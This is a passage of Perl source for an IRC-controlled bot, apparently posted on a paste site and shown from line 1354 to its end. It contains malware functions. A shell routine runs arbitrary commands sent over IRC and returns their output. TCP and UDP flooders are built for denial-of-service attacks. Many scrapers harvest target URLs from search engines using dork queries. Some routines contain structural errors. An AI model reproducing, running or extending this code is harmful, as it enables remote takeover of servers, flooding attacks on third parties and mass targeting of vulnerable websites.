  1354.  
  1355. my $proc=$_[0];
  1356. my $dork=$_[1];
  1357.  
  1358. open(FILE,">>/var/tmp/pids");
  1359. print FILE $proc." [".$irc_servers{$IRC_cur_socket}{'nick'}."] $dork\n";
  1360. close(FILE);
  1361. }
  1362.  
  1363.  
  1364. sub delproc {
  1365.  
  1366. my $proc=$_[0];
  1367. open(FILE,"/var/tmp/pids");
  1368.  
  1369. while(<FILE>) {
  1370. $_ =~ /(\d+)\s+(.*)/;
  1371. $childs{$1}=$2;
  1372. }
  1373. close(FILE);
  1374. delete($childs{$proc});
  1375.  
  1376. open(FILE,">/var/tmp/pids");
  1377.  
  1378. for $klucz (keys %childs) {
  1379. print FILE $klucz." ".$childs{$klucz}."\n";
  1380. }
  1381. }
  1382.  
  1383. sub shell {
  1384. my $printl=$_[0];
  1385. my $comando=$_[1];
  1386. if ($comando =~ /cd (.*)/) {
  1387. chdir("$1") || msg("$printl", "No such file or directory");
  1388. return;
  1389. } elsif ($pid = fork) {
  1390. waitpid($pid, 0);
  1391. } else {
  1392. if (fork) {
  1393. exit;
  1394. } else {
  1395. my @resp=`$comando 2>&1 3>&1`;
  1396. my $c=0;
  1397. foreach my $linha (@resp) {
  1398. $c++;
  1399. chop $linha;
  1400. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  1401. if ($c == "$linas_max") {
  1402. $c=0;
  1403. sleep $sleep;
  1404. }
  1405. }
  1406. exit;
  1407. }
  1408. }
  1409. }
  1410.  
  1411. sub tcpflooder {
  1412. my $itime = time;
  1413. my ($cur_time);
  1414. my ($ia,$pa,$proto,$j,$l,$t);
  1415. $ia=inet_aton($_[0]);
  1416. $pa=sockaddr_in($_[1],$ia);
  1417. $ftime=$_[2];
  1418. $proto=getprotobyname('tcp');
  1419. $j=0;$l=0;
  1420. $cur_time = time - $itime;
  1421. while ($l<1000){
  1422. $cur_time = time - $itime;
  1423. last if $cur_time >= $ftime;
  1424. $t="SOCK$l";
  1425. socket($t,PF_INET,SOCK_STREAM,$proto);
  1426. connect($t,$pa)||$j--;
  1427. $j++;
  1428. $l++;
  1429. }
  1430. $l=0;
  1431. while ($l<1000){
  1432. $cur_time = time - $itime;
  1433. last if $cur_time >= $ftime;
  1434. $t="SOCK$l";
  1435. shutdown($t,2);
  1436. $l++;
  1437. }
  1438. }
  1439.  
  1440. sub udpflooder {
  1441. my $iaddr = inet_aton($_[0]);
  1442. my $msg = 'A' x $_[1];
  1443. my $ftime = $_[2];
  1444. my $cp = 0;
  1445. my (%pacotes);
  1446. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1447. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1448. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1449. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1450. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1451. return(undef) if $cp == 4;
  1452. my $itime = time;
  1453. my ($cur_time);
  1454. while ( 1 ) {
  1455. for (my $porta = 1; $porta <= 65000; $porta++) {
  1456. $cur_time = time - $itime;
  1457. last if $cur_time >= $ftime;
  1458. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  1459. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  1460. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  1461. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  1462. for (my $pc = 3; $pc <= 255;$pc++) {
  1463. next if $pc == 6;
  1464. $cur_time = time - $itime;
  1465. last if $cur_time >= $ftime;
  1466. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1467. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  1468. }
  1469. }
  1470. last if $cur_time >= $ftime;
  1471. }
  1472. return($cur_time, %pacotes);
  1473. }
  1474.  
  1475. sub ctcp {
  1476. return unless $#_ == 1;
  1477. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  1478. }
  1479.  
  1480. sub msg {
  1481. return unless $#_ == 1;
  1482. sendraw("PRIVMSG $_[0] :$_[1]");
  1483. }
  1484.  
  1485. sub notice {
  1486. return unless $#_ == 1;
  1487. sendraw("NOTICE $_[0] :$_[1]");
  1488. }
  1489.  
  1490. sub op {
  1491. return unless $#_ == 1;
  1492. sendraw("MODE $_[0] +o $_[1]");
  1493. }
  1494.  
  1495. sub deop {
  1496. return unless $#_ == 1;
  1497. sendraw("MODE $_[0] -o $_[1]");
  1498. }
  1499.  
  1500. sub j {
  1501. &join(@_);
  1502. }
  1503.  
  1504. sub join {
  1505. return unless $#_ == 0;
  1506. sendraw("JOIN $_[0]");
  1507. }
  1508.  
  1509. sub p {
  1510. part(@_);
  1511. }
  1512.  
  1513. sub part {
  1514. sendraw("PART $_[0]");
  1515. }
  1516.  
  1517. sub nick {
  1518. return unless $#_ == 0;
  1519. sendraw("NICK $_[0]");
  1520. }
  1521.  
  1522. sub quit {
  1523. sendraw("QUIT :$_[0]");
  1524. }
  1525.  
  1526. sub fetch(){
  1527. my $rnd=(int(rand(9999)));
  1528. my $n= 80;
  1529. if ($rnd<5000) {
  1530. $n<<=1;
  1531. }
  1532. my $s= (int(rand(10)) * $n);
  1533. my @dominios = ("removed-them-all");
  1534. my @str;
  1535. foreach $dom (@dominios){
  1536. push (@str,"@gstring");
  1537. }
  1538. my $query="www.google.com/search?q=";
  1539. $query.=$str[(rand(scalar(@str)))];
  1540. $query.="&num=$n&start=$s";
  1541. my @lst=();
  1542. sendraw("privmsg #debug :DEBUG only test googling: ".$query."");
  1543. my $page = http_query($query);
  1544. while ($page =~ m/<a href=\"?http:\/\/([^>\"]+)\"? class=l>/g){
  1545. if ($1 !~ m/google|cache|translate/){
  1546. push (@lst,$1);
  1547. }
  1548. }
  1549. return (@lst);
  1550.  
  1551. sub yahoo(){
  1552. my @lst;
  1553. my $key = $_[0];
  1554. for($b=1;$b<=1000;$b+=100){
  1555. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1556. my $Res=query($Ya);
  1557. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  1558. my $k=$1;
  1559. $k=~s/<b>//g;
  1560. $k=~s/<\/b>//g;
  1561. $k=~s/<wbr>//g;
  1562. my @grep=links($k);
  1563. push(@lst,@grep);
  1564. }}
  1565. return @lst;
  1566. }
  1567.  
  1568. sub msn(){
  1569. my @lst;
  1570. my $key = $_[0];
  1571. for($b=1;$b<=1000;$b+=10){
  1572. my $msn=("http://search.msn.de/results.aspx?q=".key($key)."&first=".$b."&FORM=PORE");
  1573. my $Res=query($msn);
  1574. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1575. if($1 !~ /msn|live/){
  1576. my $k=$1;
  1577. my @grep=links($k);
  1578. push(@lst,@grep);
  1579. }}}
  1580. return @lst;
  1581. }
  1582.  
  1583. sub lycos(){
  1584. my $inizio=0;
  1585. my $pagine=20;
  1586. my $key=$_[0];
  1587. my $av=0;
  1588. my @lst;
  1589. while($inizio <= $pagine){
  1590. my $lycos="http://search.lycos.com/?query=".key($key)."&page=$av";
  1591. my $Res=query($lycos);
  1592. while ($Res=~ m/<span class=\"?grnLnk small\"?>http:\/\/(.+?)\//g ){
  1593. my $k="$1";
  1594. my @grep=links($k);
  1595. push(@lst,@grep);
  1596. }
  1597. $inizio++;
  1598. $av++;
  1599. }
  1600. return @lst;
  1601. }
  1602.  
  1603. #####
  1604. sub aol(){
  1605. my @lst;
  1606. my $key = $_[0];
  1607. for($b=1;$b<=100;$b++){
  1608. my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
  1609. my $Res=query($AoL);
  1610. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  1611. my $k=$1;
  1612. my @grep=links($k);
  1613. push(@lst,@grep);
  1614. }}
  1615. return @lst;
  1616. }
  1617. #####
  1618. sub ask(){
  1619. my @lst;
  1620. my $key=$_[0];
  1621. my $i=0;
  1622. my $pg=0;
  1623. for($i=0; $i<=1000; $i+=10)
  1624. {
  1625. my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
  1626. my $Res=query($Ask);
  1627. while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\"onmousedown/g){
  1628. my $k=$3;
  1629. $k=~s/[\"\ ]//g;
  1630. my @grep=links($k);
  1631. push(@lst,@grep);
  1632. }}
  1633. return @lst;
  1634. }
  1635. #####
  1636. sub alltheweb()
  1637. {
  1638. my @lst;
  1639. my $key=$_[0];
  1640. my $i=0;
  1641. my $pg=0;
  1642. for($i=0; $i<=1000; $i+=100)
  1643. {
  1644. my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
  1645. my $Res=query($all);
  1646. while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
  1647. my $k=$1;
  1648. $k=~s/ //g;
  1649. my @grep=links($k);
  1650. push(@lst,@grep);
  1651. }}
  1652. return @lst;
  1653. }
  1654.  
  1655. sub google(){
  1656. my @lst;
  1657. my $key = $_[0];
  1658. for($b=0;$b<=100;$b+=100){
  1659. my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&filter=0&start=".$b);
  1660. my $Res=query($Go);
  1661. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1662. if ($1 !~ /google/){
  1663. my $k=$1;
  1664. my @grep=links($k);
  1665. push(@lst,@grep);
  1666. }}}
  1667. return @lst;
  1668. }
  1669.  
  1670. #####
  1671. # SUBS SEARCH
  1672. #####
  1673. sub search(){
  1674. my @lst;
  1675. my $key = $_[0];
  1676. for($b=0;$b<=1000;$b+=100){
  1677. my $ser=("http://www.search.com/search?q=".key($key)."".$b);
  1678. my $Res=query($ser);
  1679. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1680. if ($1 !~ /msn|live|google|yahoo/){
  1681. my $k=$1;
  1682. my @grep=links($k);
  1683. push(@lst,@grep);
  1684. }}}
  1685. return @lst;
  1686. }
  1687.  
  1688. #####
  1689. # SUBS FireBall
  1690. #####
  1691. sub fireball(){
  1692. my $key=$_[0];
  1693. my $inicio=1;
  1694. my $pagina=200;
  1695. my @lst;
  1696. my $av=0;
  1697. while($inicio <= $pagina){
  1698. my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";
  1699. my $Res=query($fireball);
  1700. while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
  1701. if ($1 !~ /msn|live|google|yahoo/){
  1702. my $k="$1/";
  1703. my @grep=links($k);
  1704. push(@lst,@grep);
  1705. }}
  1706. $av=$av+10;
  1707. $inicio++;
  1708. }
  1709. return @lst;
  1710. }
  1711. #####
  1712. # SUBS UOL
  1713. #####
  1714. sub uol(){
  1715. my @lst;
  1716. my $key = $_[0];
  1717. for($b=1;$b<=1000;$b+=10){
  1718. my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
  1719. my $Res=query($UoL);
  1720. while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
  1721. my $k=$1;
  1722. if($k!~/busca|uol|yahoo/){
  1723. my $k=$1;
  1724. my @grep=links($k);
  1725. push(@lst,@grep);
  1726. }}}
  1727. return @lst;
  1728. }
  1729.  
  1730. #####
  1731. # Altavista
  1732. #####
  1733. sub altavista(){
  1734. my @lst;
  1735. my $key = $_[0];
  1736. for($b=1;$b<=1000;$b+=10){
  1737. my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1738. my $Res=query($AlT);
  1739. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1740. if($1 !~ /altavista/){
  1741. my $k=$1;
  1742. $k=~s/<//g;
  1743. $k=~s/ //g;
  1744. my @grep=links($k);
  1745. push(@lst,@grep);
  1746. }}}
  1747. return @lst;
  1748. }
  1749.  
  1750. sub altavistade(){
  1751. my @lst;
  1752. my $key = $_[0];
  1753. for($b=1;$b<=1000;$b+=10){
  1754. my $AlT=("http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1755. my $Res=query($AlT);
  1756. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1757. if($1 !~ /altavista/){
  1758. my $k=$1;
  1759. $k=~s/<//g;
  1760. $k=~s/ //g;
  1761. my @grep=links($k);
  1762. push(@lst,@grep);
  1763. }}}
  1764. return @lst;
  1765. }
  1766.  
  1767. sub altavistaus(){
  1768. my @lst;
  1769. my $key = $_[0];
  1770. for($b=1;$b<=1000;$b+=10){
  1771. my $AlT=("http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1772. my $Res=query($AlT);
  1773. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1774. if($1 !~ /altavista/){
  1775. my $k=$1;
  1776. $k=~s/<//g;
  1777. $k=~s/ //g;
  1778. my @grep=links($k);
  1779. push(@lst,@grep);
  1780. }}}
  1781. return @lst;
  1782. }
  1783.  
  1784. #####
  1785. # HotBot
  1786. #####
  1787. sub hotbot(){
  1788. my @lst;
  1789. my $key = $_[0];
  1790. for($b=0;$b<=1000;$b+=100){
  1791. my $hot=("http://search.hotbot.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=hb_loc&enc=utf-8".$b);
  1792. my $Res=query($hot);
  1793. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1794. if ($1 !~ /msn|live|google|yahoo/){
  1795. my $k=$1;
  1796. my @grep=links($k);
  1797. push(@lst,@grep);
  1798. }}}
  1799. return @lst;
  1800. }
  1801.  
  1802.  
  1803. #####
  1804. # Mamma
  1805. #####
  1806. sub mamma(){
  1807. my @lst;
  1808. my $key = $_[0];
  1809. for($b=0;$b<=1000;$b+=100){
  1810. my $mam=("http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=".key($key)."".$b);
  1811. my $Res=query($mam);
  1812. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1813. if ($1 !~ /msn|live|google|yahoo/){
  1814. my $k=$1;
  1815. my @grep=links($k);
  1816. push(@lst,@grep);
  1817. }}}
  1818. return @lst;
  1819. }
  1820.  
  1821. #####
  1822. # MozBot
  1823. #####
  1824. sub mozbot()
  1825. {
  1826. my @lst;
  1827. my $key=$_[0];
  1828. my $i=0;
  1829. my $pg=0;
  1830. for($i=0; $i<=100; $i+=1){
  1831. my $mozbot=("http://www.mozbot.fr/search?q=".key($key)."&st=int&page=".$i);
  1832. my $Res=query($mozbot);
  1833. while($Res =~ m/<a href=\"?http:\/\/(.+?)\" target/g){
  1834. my $k=$1;
  1835. $k=~s/ //g;
  1836. my @grep=links($k);
  1837. push(@lst,@grep);
  1838. }}
  1839. return @lst;
  1840. }
  1841.  
  1842. sub links()
  1843. {
  1844. my @l;
  1845. my $link=$_[0];
  1846. my $host=$_[0];
  1847. my $hdir=$_[0];
  1848. $hdir=~s/(.*)\/[^\/]*$/\1/;
  1849. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1850. $host.="/";
  1851. $link.="/";
  1852. $hdir.="/";
  1853. $host=~s/\/\//\//g;
  1854. $hdir=~s/\/\//\//g;
  1855. $link=~s/\/\//\//g;
  1856. push(@l,$link,$host,$hdir);
  1857. return @l;
  1858. }
  1859.  
  1860. sub geths(){
  1861. my $host=$_[0];
  1862. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1863. return $host;
  1864. }
  1865.  
  1866. sub key(){
  1867. my $chiave=$_[0];
  1868. $chiave =~ s/ /\+/g;
  1869. $chiave =~ s/:/\%3A/g;
  1870. $chiave =~ s/\//\%2F/g;
  1871. $chiave =~ s/&/\%26/g;
  1872. $chiave =~ s/\"/\%22/g;
  1873. $chiave =~ s/,/\%2C/g;
  1874. $chiave =~ s/\\/\%5C/g;
  1875. return $chiave;
  1876. }
  1877.  
  1878. sub query($){
  1879. my $url=$_[0];
  1880. $url=~s/http:\/\///;
  1881. my $host=$url;
  1882. my $query=$url;
  1883. my $page="";
  1884. $host=~s/href=\"?http:\/\///;
  1885. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1886. $query=~s/$host//;
  1887. if ($query eq "") {$query="/";};
  1888. eval {
  1889. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1890. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1891. my @r = <$sock>;
  1892. $page="@r";
  1893. close($sock);
  1894. };
  1895. return $page;
  1896. }
  1897.  
  1898. sub unici{
  1899. my @unici = ();
  1900. my %visti = ();
  1901. foreach my $elemento ( @_ )
  1902. {
  1903. next if $visti{ $elemento }++;
  1904. push @unici, $elemento;
  1905. }
  1906. return @unici;
  1907. }
  1908.  
  1909. sub http_query($){
  1910. my ($url) = @_;
  1911. my $host=$url;
  1912. my $query=$url;
  1913. my $page="";
  1914. $host =~ s/href=\"?http:\/\///;
  1915. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1916. $query =~s/$host//;
  1917. if ($query eq "") {$query="/";};
  1918. eval {
  1919. local $SIG{ALRM} = sub { die "1";};
  1920. alarm 10;
  1921. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1922. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1923. my @r = <$sock>;
  1924. $page="@r";
  1925. alarm 0;
  1926. close($sock);
  1927. };
  1928. return $page;
  1929. }}
Advertisement
Add Comment
Please, Sign In to add comment